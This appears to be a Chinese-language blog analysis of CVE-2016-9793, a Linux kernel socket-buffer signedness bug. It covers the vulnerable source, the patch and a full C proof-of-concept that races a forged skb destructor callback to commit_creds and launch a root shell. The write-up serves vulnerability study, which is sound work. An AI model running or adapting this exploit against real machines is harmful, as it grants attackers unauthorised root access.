CVE-2016-9793漏洞分析与利用

原文地址:传送

漏洞分析

Linux kernel 4.8.13及之前的版本中的net/core/sock.c文件的sock_setsockopt函数存在安全漏洞,该漏洞源于程序没有正确的处理sk_sndbufsk_rcvbuf的负值。本地攻击者可利用该漏洞造成拒绝服务(内存损坏和系统崩溃)。

影响版本

Linux kernel 3.11 -> 4.8

源码分析(以4.8.13为例)

下载地址

sock_setsockopt中关于sk_sndbufsk_rcvbuf的处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

set_sndbuf:
case SO_SNDBUF:
/* Don't error on this BSD doesn't and if you think
* about it this is right. Otherwise apps have to
* play 'guess the biggest size' games. RCVBUF/SNDBUF
* are treated in BSD as hints
*/
val = min_t(u32, val, sysctl_wmem_max);
sk->sk_userlocks |= SOCK_SNDBUF_LOCK;
sk->sk_sndbuf = max_t(u32, val * 2, SOCK_MIN_SNDBUF);
/* Wake up sending tasks if we upped the value. */
sk->sk_write_space(sk);
break;

set_rcvbuf:
case SO_RCVBUF:
/* Don't error on this BSD doesn't and if you think
* about it this is right. Otherwise apps have to
* play 'guess the biggest size' games. RCVBUF/SNDBUF
* are treated in BSD as hints
*/
val = min_t(u32, val, sysctl_rmem_max);
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
/*
* We double it on the way in to account for
* "struct sk_buff" etc. overhead. Applications
* assume that the SO_RCVBUF setting they make will
* allow that much actual data to be received on that
* socket.
*
* Applications are unaware that "struct sk_buff" and
* other overheads allocate from the receive buffer
* during socket buffer allocation.
*
* And after considering the possible alternatives,
* returning the value we actually used in getsockopt
* is the most desirable behavior.
*/
sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF);
break;

max_t定义如下:

1
2
3
4
#define max_t(type, x, y) ({			\
type __max1 = (x); \
type __max2 = (y); \
__max1 > __max2 ? __max1: __max2; })

以set_sndbuf为例,max_t(u32, val * 2, SOCK_MIN_SNDBUF)即以u32类型(无符号整数)比较val * 2SOCK_MIN_SNDBUF的大小,因此会出现-1>100这样的情况,从而导致被攻击。

POC

PS:需要自行修改偏移。且条件竞争存在一定概率,需多运行几遍才可提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#define _GNU_SOURCE

#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>

#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define COMMIT_CREDS 0xffffffff810a4b80
#define PREPARE_KERNEL_CRED 0xffffffff810a4f30

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
//puts("rooting....");
commit_creds(prepare_kernel_cred(0));
}

struct ubuf_info_t {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};

struct skb_shared_info_t {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};

// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0

struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void* skb_thr(void* arg) {
while (1) {
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
}
}

int sockets[2];

void *write_thr(void *arg) {
// Write blocks until setsockopt(SO_SNDBUF).
write(sockets[1], "\x5c", 1);
if (getuid() == 0) {
printf("[+] got r00t\n");
execl("/bin/sh", "sh", NULL);
perror("execl()");
}
printf("[-] something went wrong\n");
}

int main() {
void *addr;
int rv;
uint32_t sndbuf;

addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000,
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
-1, 0);
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
perror("mmap()");
exit(EXIT_FAILURE);
}


printf("[.] userspace payload mmapped at %p\n", addr);

pthread_t skb_th;
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);

printf("[.] overwriting thread started\n");

rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}

printf("[.] sockets opened\n");

sndbuf = SNDBUF;
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
printf("[.] sock->sk_sndbuf set to 0x%x\n", SNDBUF * 2);

pthread_t write_th;
rv = pthread_create(&write_th, 0, write_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);

printf("[.] writing to socket\n");

// Wake up blocked write.
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
usleep(10000);
close(sockets[0]);
close(sockets[1]);
void *status;
pthread_join(write_th, &status);

return 0;
}

image-20200813152616561

提权分析

close(sockets[0]);时会调用skb_release_data()。其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static void skb_release_data(struct sk_buff *skb)
{
struct skb_shared_info *shinfo = skb_shinfo(skb);
int i;

if (skb->cloned &&
atomic_sub_return(skb->nohdr ? (1 << SKB_DATAREF_SHIFT) + 1 : 1,
&shinfo->dataref))
return;

for (i = 0; i < shinfo->nr_frags; i++)
__skb_frag_unref(&shinfo->frags[i]);

/*
* If skb buf is from userspace, we need to notify the caller
* the lower device DMA has done;
*/
if (shinfo->tx_flags & SKBTX_DEV_ZEROCOPY) {
struct ubuf_info *uarg;

uarg = shinfo->destructor_arg;
if (uarg->callback)
uarg->callback(uarg, true);
}

if (shinfo->frag_list)
kfree_skb_list(shinfo->frag_list);

skb_free_head(skb);
}

其中skb_shinfo(skb)返回值为skb->end+skb->head。接着通过获取到的shinfo读取destructor_arg结构,从而调用callback指针函数。

在POC中:

  1. 通过setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,&sndbuf, sizeof(sndbuf));将设置skb->end为0xfffffec0,再加上skb->head(0x10),即shinfo=0xfffffed0。
  2. 接着通过skb_thr()函数不断将destructor_arg的callback指向提权函数get_root(),从而完成提权。

环境与复现

https://github.com/nuoye-blog/cve/tree/master/cve-2016-9793

漏洞修补

可以在Linux kernel 4.8.14版本中看到max_t(u32, val * 2, SOCK_MIN_SNDBUF);max_t(u32, val * 2, SOCK_MIN_RCVBUF);被修改为了max_t(int, val * 2, SOCK_MIN_SNDBUF);以及max_t(int, val * 2, SOCK_MIN_RCVBUF);

参考链接

CVE-2016-9793 Linux kernel 安全漏洞-漏洞情报、漏洞详情、安全漏洞、CVE - 安全客,安全资讯平台 https://www.anquanke.com/vul/id/1123808